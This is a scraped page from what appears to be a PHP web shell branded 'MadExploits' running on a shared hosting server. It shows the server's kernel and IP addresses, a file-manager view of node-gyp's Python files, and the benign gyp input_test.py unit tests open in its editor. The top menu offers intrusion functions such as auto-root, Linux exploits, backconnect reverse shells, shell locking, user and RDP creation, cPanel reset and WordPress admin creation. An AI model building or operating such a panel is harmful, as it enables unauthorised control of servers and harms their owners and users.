Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.146.176.210
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
node_modules /
node-gyp /
gyp /
pylib /
gyp /
[ HOME SHELL ]
Name
Size
Permission
Action
generator
[ DIR ]
drwxr-xr-x
MSVSNew.py
11.66
KB
-rw-r--r--
MSVSProject.py
6.24
KB
-rw-r--r--
MSVSSettings.py
44.11
KB
-rw-r--r--
MSVSSettings_test.py
64.56
KB
-rw-r--r--
MSVSToolFile.py
1.76
KB
-rw-r--r--
MSVSUserFile.py
4.97
KB
-rw-r--r--
MSVSUtil.py
9.31
KB
-rw-r--r--
MSVSVersion.py
17.02
KB
-rw-r--r--
__init__.py
21.87
KB
-rw-r--r--
common.py
20.58
KB
-rw-r--r--
common_test.py
1.92
KB
-rw-r--r--
easy_xml.py
4.87
KB
-rw-r--r--
easy_xml_test.py
3.25
KB
-rw-r--r--
flock_tool.py
1.71
KB
-rw-r--r--
input.py
113.65
KB
-rw-r--r--
input_test.py
3.11
KB
-rw-r--r--
mac_tool.py
22.89
KB
-rw-r--r--
msvs_emulation.py
46.76
KB
-rw-r--r--
ninja_syntax.py
5.41
KB
-rw-r--r--
simple_copy.py
1.3
KB
-rw-r--r--
win_tool.py
12.72
KB
-rw-r--r--
xcode_emulation.py
64.85
KB
-rw-r--r--
xcode_ninja.py
10.32
KB
-rw-r--r--
xcodeproj_file.py
117.66
KB
-rw-r--r--
xml_fix.py
2.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : input_test.py
#! /usr/bin/python2 # Copyright 2013 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Unit tests for the input.py file.""" import gyp.input import unittest import sys class TestFindCycles(unittest.TestCase): def setUp(self): self.nodes = {} for x in ('a', 'b', 'c', 'd', 'e'): self.nodes[x] = gyp.input.DependencyGraphNode(x) def _create_dependency(self, dependent, dependency): dependent.dependencies.append(dependency) dependency.dependents.append(dependent) def test_no_cycle_empty_graph(self): for label, node in self.nodes.items(): self.assertEqual([], node.FindCycles()) def test_no_cycle_line(self): self._create_dependency(self.nodes['a'], self.nodes['b']) self._create_dependency(self.nodes['b'], self.nodes['c']) self._create_dependency(self.nodes['c'], self.nodes['d']) for label, node in self.nodes.items(): self.assertEqual([], node.FindCycles()) def test_no_cycle_dag(self): self._create_dependency(self.nodes['a'], self.nodes['b']) self._create_dependency(self.nodes['a'], self.nodes['c']) self._create_dependency(self.nodes['b'], self.nodes['c']) for label, node in self.nodes.items(): self.assertEqual([], node.FindCycles()) def test_cycle_self_reference(self): self._create_dependency(self.nodes['a'], self.nodes['a']) self.assertEqual([[self.nodes['a'], self.nodes['a']]], self.nodes['a'].FindCycles()) def test_cycle_two_nodes(self): self._create_dependency(self.nodes['a'], self.nodes['b']) self._create_dependency(self.nodes['b'], self.nodes['a']) self.assertEqual([[self.nodes['a'], self.nodes['b'], self.nodes['a']]], self.nodes['a'].FindCycles()) self.assertEqual([[self.nodes['b'], self.nodes['a'], self.nodes['b']]], self.nodes['b'].FindCycles()) def test_two_cycles(self): self._create_dependency(self.nodes['a'], self.nodes['b']) self._create_dependency(self.nodes['b'], self.nodes['a']) self._create_dependency(self.nodes['b'], self.nodes['c']) self._create_dependency(self.nodes['c'], self.nodes['b']) cycles = self.nodes['a'].FindCycles() self.assertTrue( [self.nodes['a'], self.nodes['b'], self.nodes['a']] in cycles) self.assertTrue( [self.nodes['b'], self.nodes['c'], self.nodes['b']] in cycles) self.assertEqual(2, len(cycles)) def test_big_cycle(self): self._create_dependency(self.nodes['a'], self.nodes['b']) self._create_dependency(self.nodes['b'], self.nodes['c']) self._create_dependency(self.nodes['c'], self.nodes['d']) self._create_dependency(self.nodes['d'], self.nodes['e']) self._create_dependency(self.nodes['e'], self.nodes['a']) self.assertEqual([[self.nodes['a'], self.nodes['b'], self.nodes['c'], self.nodes['d'], self.nodes['e'], self.nodes['a']]], self.nodes['a'].FindCycles()) if __name__ == '__main__': unittest.main()
Close